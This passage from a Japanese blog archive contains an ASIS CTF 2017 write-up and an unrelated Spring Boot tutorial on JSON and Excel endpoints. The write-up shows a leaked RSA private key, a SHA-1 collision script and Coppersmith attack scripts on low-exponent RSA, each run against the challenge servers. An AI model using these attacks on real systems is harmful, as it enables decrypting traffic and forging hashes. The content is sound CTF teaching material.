F7eO2MPkrkrN+HTuM9YExBAfs1KNB29yuBmlSQIDAQABAoIBAHS9JvAQsgPfzJRW
iX7vp+qXi9IFEe6Xf2VA/8UUuqeiqT4biOiPSL0cYMscpKEGm6L0wS0d64qZN0hz
NCwoHDuEdpXSjwMSxSY+ewFX+Jj210aZ9h8oKfyp07l2H8bWHRCtqBSLCpjjp6+6
/ef1EZrbuvsl01nDvlXWmGmaxlDWRyHlW62/loxNy5c6rDOWIfOXPPETMJbUURmU
h4o0AchM/KHnh95ZEgUccQxlK0JX3vEHBNr8cXlVAxv1MDhRRAbbNtw4qU6nHW4V
f4Ypb9KkahBDW3HSlFRJf9OyrTRAHNMMGpdQTOez6qdWCp+5fBj3RXxv+SFqtJVa
iYC+FB0CgYEAwkOps9vQ3Vz9IAcAEzLIosy5f2EpBIpPipVPFl+RZ9e6BgijpdjA
cjuhC+1U3Z3K7Wa67dUjV8NlmUJSw/7EKt7Mn7tYDyuBwTvVMoFHUfMCA/CFeLCE
uyz1KSKJUKUxoIHt5ySqcZKZoTpwGK5J4VYq+aRybUZJvNhPC6Tteq8CgYEA4ocB
+wKYZqazr6AU+m4IzCrdYw9A06X2a1qpJvujKwj2h9S010hQ/A3bRb1/0goK1vN7
9rKmtGzBkwnh6b66Zycmc0UuVOxd5lUw0OphSGrxEEGlTns8mWlekh1sAm26S7lw
HS2SXJjGZCCu/PimzDkwuIoR0aOmUsfeIUkR/YcCgYEAs3VKSgrgsf37ICEXYqTh
T/OL0S5yc+1JeZ5gxyxV6PYStQw6ETVg4qZPKfN/GJNyKUljmd3xnlu1eZUZXFH3
6hqUMWMiADGS1m1tkBB5UC0LSZRh2JJIq5jmia+L5mIUrFAa9BKdGfnxzk1rzIEF
YxL09FWEF4p9B+VTcFBVyaUCgYBpbRYB4XpWQ/1annFFABL+GnEAmme8WQAvhHk3
GGQfMkOygc9MZm6ycCx976zebygOVDF8Zjbpv7fzm+TVaZvNSE4/1ZGzmnI1Ma7P
fFWcY5Ef1L1/oiFY8M4/yIutMa5DceF44u28RKoIjaGDQKI4Z+GB8VhLrhNJcZWy
/hPuXwKBgGHGe1jiYYqI2rLOfIFv1cNkwpzz+rvY44rsBQO2U1tUJiTApU2gM54X
CoXmN/6UcyvuVVYC7gng9juq+qgtsAy/hbFQlsdgYMjKDwuEtb+6yuqgGvXZ5sNh
/SvdVXW8EvHlyRY9nTNrpBWZVF9qVaO4JXKBBSpXa9dv8oA1wGCz
-----END RSA PRIVATE KEY-----

秘密鍵Wiresharkに登録すると、HTTPSが復号できた。

f:id:inaz2:20170409223422p:plain f:id:inaz2:20170409223655p:plain

二つあるPNGファイルのうち、片方にフラグが書かれている。

f:id:inaz2:20170409223735p:plain

ASIS{easy_Common_Factor_iS_re4l1y_Forensic_N0t_Crypto!!!!}

ShaColla (PPC/Misc 146)

SHA-1が同じになる同一長のメッセージの組を求める問題。 ただし、SHA-1ハッシュ値の上位ビットが与えられ、SHA-1ハッシュ値はこれを満たす必要がある。 また、メッセージはdeflateで圧縮されて送受信される。

SHAttered(identical-prefix collision attack)を用い、全体のハッシュ値が条件を満たすような最後の1ブロックを探索する。

from minipwn import *
import zlib
import hashlib

# https://shattered.io/static/shattered.pdf
prefix = '255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe01'.decode('hex')
pair1 = '7f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1'.decode('hex')
pair2 = '7346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1'.decode('hex')
print hashlib.sha1(prefix+pair1).hexdigest()
print hashlib.sha1(prefix+pair2).hexdigest()

def recv_zlib(s):
    return zlib.decompress(s.recv(8192))

def send_zlib(s, data):
    s.sendall(zlib.compress(data))

s = socket.create_connection(('66.172.27.77', 52317))
print recv_zlib(s)
send_zlib(s, 'Y')
print recv_zlib(s)

message = recv_zlib(s)
print message
hexdigest_prefix = message.splitlines()[0].split()[-1]
print hexdigest_prefix

data = proof_of_work('sha1', hexdigest_prefix, prefix+pair1, length=len(prefix+pair1)+64)
suffix = data[-64:]
s1 = prefix + pair1 + suffix
s2 = prefix + pair2 + suffix

print hashlib.sha1(s1).hexdigest()
send_zlib(s, s1)
print recv_zlib(s)

print hashlib.sha1(s2).hexdigest()
send_zlib(s, s2)
print recv_zlib(s)

interact(s)
$ python test.py
f92d74e3874587aaf443d1db961d4e26dde13e9c
f92d74e3874587aaf443d1db961d4e26dde13e9c
Hi all, let's go to sha1ing!!
Are you ready? [Y]es or [N]o:

Send us two distinct string with same length and same sha1 hash, with given condition :)
----------------------------------------------------------------------------------------

the sha1 hash shoud be started with 0c3c6
Send the first string:

0c3c6
0c3c6121615cfd7090a597ef8ec0a3991846ad23
Send the second string:

0c3c6121615cfd7090a597ef8ec0a3991846ad23
Good job, you got the flag :)
ASIS{U_mus7_kn0w_sha1_pr0p3r71es_l1ke_hack3rZ!}
Quiting ...

*** Connection closed by remote host ***

A fine OTP server (Crypto 79)

RSA

$ nc -v 66.172.27.77 35156
Connection to 66.172.27.77 35156 port [tcp/*] succeeded!
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = 'Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

P
the public key is:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAvFAnhyZAgP/hqJUL7Bo4
XK1n0e4j88D3UKlV7ZBYUPbleE2RKhCwqM4YCXOwor13duBkeK+XD5TI/rZvzb+K
AoAvBCqSKXNo8gSo0a/UX8y6ARNCvWoQDCPwwQhHA7O8r8cyDSpGZmRqYMJ9BcEJ
T9Fp74pHuiukoJGss66F7pmASPZsESLS8EdeZgRnv4cPWxMX70gvAXuSH0hNZCSs
xw/ZY1TruVx5se79ha0Km9LICf5SA3LFTOItp77p/xeu1s4aPKYjjqo2UvGUAhT5
Ag+0cdWAhe59ta7zQ0lCUyrhrus/ASXZnx9SzMMGrwEJryNk0vZ2TkTZIjn8vlov
uQIBAw==
-----END PUBLIC KEY-----
F
13424849164527521403756445050870196571038349263738328860728317613249912394547060932323343839684520029298203039106900245311207700034998334716959150771582999406348755074104912187806489850969622944734918330324885548301540577480132628996452568553967445688994973186790024440930164778033867173990927208084642999591843071127314339236071916217156416439033470701924870087660092597150191938545867566175612824079002382774093510322941325983882318855242505497250011044422246589076538245270990092478238783625159105688925917894869205653434007711609109280899448542098243852375000
$ ruby rsautil.rb parse test.pem
n = 23772326944340796852467275672633443032762201612528613430472234538984871844351309654309740496507169787684921545588575908965836046961238280521183250949991760841515805925470051888793692378092407921797073545707240336959796786589141025828151239783588726099683741265328318285205945064548683788417993988096855651622109192550780435450579651402383908887230940940950610287307801913581271677458435923866570090466682720310936486837416030793456008585865027786469673202273065542919466136112161589239996547077316321103554153406862673078929869534989057306196295276249632742508957622957964903656631286512028955994079476149028136824761
e = 3

e=3かつ平文の下位18バイト以外が与えられていることから、Coppersmith’s Attackで解ける。

n = 23772326944340796852467275672633443032762201612528613430472234538984871844351309654309740496507169787684921545588575908965836046961238280521183250949991760841515805925470051888793692378092407921797073545707240336959796786589141025828151239783588726099683741265328318285205945064548683788417993988096855651622109192550780435450579651402383908887230940940950610287307801913581271677458435923866570090466682720310936486837416030793456008585865027786469673202273065542919466136112161589239996547077316321103554153406862673078929869534989057306196295276249632742508957622957964903656631286512028955994079476149028136824761
e = 3

c = 13424849164527521403756445050870196571038349263738328860728317613249912394547060932323343839684520029298203039106900245311207700034998334716959150771582999406348755074104912187806489850969622944734918330324885548301540577480132628996452568553967445688994973186790024440930164778033867173990927208084642999591843071127314339236071916217156416439033470701924870087660092597150191938545867566175612824079002382774093510322941325983882318855242505497250011044422246589076538245270990092478238783625159105688925917894869205653434007711609109280899448542098243852375000

"""
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ('Welcome, dear customer, the secret passphrase for today is: ' + '\x00' * 18).encode('hex')
'57656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000'
>>>
"""
kbits = 18*8
mbar = 0x57656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000

PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c

x = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print x

print hex(long(x))[2:-1].decode('hex')
sage@vm-ubuntu64:~$ sage test.sage
9606333759445644504818242095485338582991430
nFzHO7N1ACRCj2GGBF

接続を切らずにそのままにしておき、求まったOTPを送ることでフラグが得られる。

G
Send me the otp :)
nFzHO7N1ACRCj2GGBF
Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}

Secured OTP server (Crypto 268)

上の問題の上位ビットが長くなっただけ。

$ nc 66.172.33.77 12431
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

P
the public key is:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAncu5gvq8kH1B+hYmyF8B
I+7ZOcoWvGzX0Q/KYwfQ77WNGXFujU5+nNv5XwnDkQ1XaCRZos6LVorfmRBmzZbb
J1Mka7eYUR9FlCxdCR7x17EwIXu8xMfiltMsPjoAykSoq2vhcY7sDayRJv8vHMyp
Xy6+TmQOit3FtuO0jK9PxOUnx560S+qAwvV9WH2lddWCtGlFNBrBTYNfmNG5y1rp
8lYHSypJ/8K84kV/uGqMf1fWJnIFi+P4+aX0vNbBb/5d2JH8Cfz6D23wQh4L5DOG
Q3n511gHDYRrbjL4Hghc6tSXAKL3oe7Mkil04LKf6hQphAfjlkhM8v4SitWLtT3y
IQIBAw==
-----END PUBLIC KEY-----
F
1188422616113813496053553446644785491155277725056495133077406134810427354918179773418839186458585086629190467299073654633189329624086069595960668994967547103852948400258498446972054978358855731097774894200002785340775127279923631895754653425337643813099570664041513240120322333892042646980271464598078787163711799284727153517881468467829804213555346302805972059969606688197370170293608090878412083586038600528193556837381285250353938601136840678031755417484439222696604790973024634571702235102822724277983951154829082692296412917552431326616190026740382463204228860768526478610900504250628314243991112671750279905385
$ ruby rsautil.rb parse test.pem
n = 19919874251180966951729336849374146772605372907020846736974628534920540758481942081281950526479808086079698461251637862113062723746596692578392012512819992319696565446099385595233422636618735327040609461813785859019195739350020615012218782827345242323063372193645439238233457163105983911929907265353002354720220894520473880090076913308169740803430630762770978584055014726617474937854818854897232091279501495661599273345930292318324308374136474314177474072828451321052872289773021408532589905959713388064991284287501411929054352910885593341754053572547070139420027965642865615032933514245555918303110472150538283512353
e = 3
n = 19919874251180966951729336849374146772605372907020846736974628534920540758481942081281950526479808086079698461251637862113062723746596692578392012512819992319696565446099385595233422636618735327040609461813785859019195739350020615012218782827345242323063372193645439238233457163105983911929907265353002354720220894520473880090076913308169740803430630762770978584055014726617474937854818854897232091279501495661599273345930292318324308374136474314177474072828451321052872289773021408532589905959713388064991284287501411929054352910885593341754053572547070139420027965642865615032933514245555918303110472150538283512353
e = 3

c = 1188422616113813496053553446644785491155277725056495133077406134810427354918179773418839186458585086629190467299073654633189329624086069595960668994967547103852948400258498446972054978358855731097774894200002785340775127279923631895754653425337643813099570664041513240120322333892042646980271464598078787163711799284727153517881468467829804213555346302805972059969606688197370170293608090878412083586038600528193556837381285250353938601136840678031755417484439222696604790973024634571702235102822724277983951154829082692296412917552431326616190026740382463204228860768526478610900504250628314243991112671750279905385

"""
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ('*************** Welcome, dear customer, the secret passphrase for today is: ' + '\x00' * 18).encode('hex')
'2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2057656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000'
>>>
"""
kbits = 18*8
mbar = 0x2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2057656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000

PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c

x = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print x

print hex(long(x))[2:-1].decode('hex')
sage@vm-ubuntu64:~$ sage test.sage
6551908646185271507224661323315129648164914
K6T9u1eSMNgPgCqd02
G
Send me the otp :)
K6T9u1eSMNgPgCqd02
Woow, you got the flag :) ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

所感

他に解きたかった問題は以下。

  • our weird OS! (Trivia 19)
  • DLP (Crypto 158)
  • Unusable Disk (Forensics 143)
  • R Re Red … (Web/Warm-up 29)
  • Secured Portal (Web/Warm-up 61)
  • Tar Bomb (Web/Misc 129)
  • Random generator (Pwning/Warm-up 95)
  • Defaulter (Pwning 186)

関連リンク

Spring BootでJSONやExcelファイルを返すエンドポイントを作ってみる

「Spring Bootで簡単なWebアプリケーションを書いてみる」では、Spring Bootで簡単なWebアプリケーションを書いた。 ここでは作成したアプリケーションをベースに、APIとしてJSONを返したり、Excelファイルとしてダウンロードするエンドポイントを作ってみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

APIとしてJSONを返してみる

まず、APIとして直近のメッセージをJSONとして返すエンドポイントを作ってみる。 以下のコードは、「Spring Bootで簡単なWebアプリケーションを書いてみる」で作ったアプリケーションをベースとする。

JSONを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.json")
    @ResponseBody
    public List<Message> messagesJson() {
        List<Message> messages = service.getRecentMessages(100);
        return messages;
    }

}

@RequestMappingはGET、POSTを問わないエンドポイントを表す。 メソッドに@ResponseBodyをつけJavaオブジェクトを返すようにすると、返り値がJacksonライブラリにより自動的にJSONに変換されて返される。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.json にアクセスすると次のようになる。

$ curl -v http://localhost:8080/messages.json
(snip)
> GET /messages.json HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.49.1
> Accept: */*
>
(snip)
< HTTP/1.1 200
< Content-Type: application/json;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Thu, 06 Apr 2017 13:49:22 GMT
<
(snip)
[{"id":3,"name":"name3","text":"text3","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486551864},{"id":2,"name":"name2","text":"text2","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486548343},{"id":1,"name":"name1","text":"text1","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486544112}]

テーブルの内容がJSONで返ってきていることが確認できる。

Excelファイルとしてダウンロードできるようにしてみる

業務アプリケーションでは、データベースの内容をExcelファイルとしてエクスポートする機能が求められる場合がある。 Spring Frameworkでは、Apache POIというライブラリを使うことでExcelファイルを返すViewを作ることができる。 ここでは、直近のメッセージをxlsx形式でダウンロードする機能を作ってみる。

Apache POIは標準では付属しないので、まずプロジェクトにライブラリを追加する必要がある。 保存するファイル形式がxls形式の場合はpoiライブラリ、xlsx形式の場合はpoi-ooxmlライブラリが必要となる。

STSでは、標準でプロジェクトマネージャとしてMavenを使いライブラリを管理している。 ここで、MavenのCentral Repositoryを検索すると、poi-ooxmlの最新stable版が3.15であることがわかる。

プロジェクトにpoi-ooxml 3.15を追加するには次のようにする。

  • 「demo [boot]」を右クリックして、「Maven」→「Add Dependency」を選択
  • ダイアログの各フィールドに以下の文字列を入力してOK
    • GroupId: org.apache.poi
    • ArtifactId: poi-ooxml
    • Version: 3.15

これにより、poi-ooxmlが依存する各種ライブラリも合わせて追加される。

Excelファイルを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.xlsx")
    public ModelAndView messagesXlsx() {
        List<Message> messages = service.getRecentMessages(100);
        return new ModelAndView(new MessagesXlsxView(), "messages", messages);
    }

}

Excelファイルを構築するViewは次のようになる。

  • src/main/java/com.example/MessagesXlsxView.java
package com.example;

import java.text.SimpleDateFormat;
import java.util.List;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.util.CellRangeAddress;
import org.springframework.web.servlet.view.document.AbstractXlsxView;

public class MessagesXlsxView extends AbstractXlsxView {

    @Override
    protected void buildExcelDocument(Map<String, Object> model, Workbook workbook, HttpServletRequest request,
            HttpServletResponse response) throws Exception {
        @SuppressWarnings("unchecked")
        List<Message> messages = (List<Message>) model.get("messages");
        
        Sheet sheet = workbook.createSheet("Recent messages");
        
        // create header
        Row row = sheet.createRow(0);
        row.createCell(0).setCellValue("ID");
        row.createCell(1).setCellValue("Name");
        row.createCell(2).setCellValue("Text");
        row.createCell(3).setCellValue("RemoteAddr");
        row.createCell(4).setCellValue("CreatedAt");
        
        // create body
        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i=0; i<messages.size(); i++) {
            Message message = messages.get(i);
            row = sheet.createRow(i+1);
            row.createCell(0).setCellValue(message.getId());
            row.createCell(1).setCellValue(message.getName());
            row.createCell(2).setCellValue(message.getText());
            row.createCell(3).setCellValue(message.getRemoteAddr());
            row.createCell(4).setCellValue(dateFormatter.format(message.getCreatedAt()));
        }
        
        // enable auto filter
        sheet.setAutoFilter(new CellRangeAddress(0, 0, 0, 4));
        
        // adjust column width
        for (int i=0; i<5; i++) {
            sheet.autoSizeColumn(i);
        }
    }

}

xlsx形式の場合はAbstractXlsxView、xls形式の場合はAbstractXlsViewを継承する。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.xlsx にアクセスすると次のようになる。

$ curl -I http://localhost:8080/messages.xlsx
HTTP/1.1 200
Pragma: private
Cache-Control: private, must-revalidate
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Content-Language: ja-JP
Content-Length: 3711
Date: Thu, 06 Apr 2017 13:49:29 GMT

3713バイトのapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheetが返っていることがわかる。 また、ブラウザでアクセスすると、構築したExcelファイルがダウンロードできることが確認できる。

f:id:inaz2:20170406225333p:plain

PDFファイルの構築とダウンロード

Springでは、AbstractPdfViewとitextライブラリを使うことで、PDFファイルを構築して返すことも可能である。 全体の流れはExcelファイルの場合と同様であるため、ここでは省略する。

関連リンク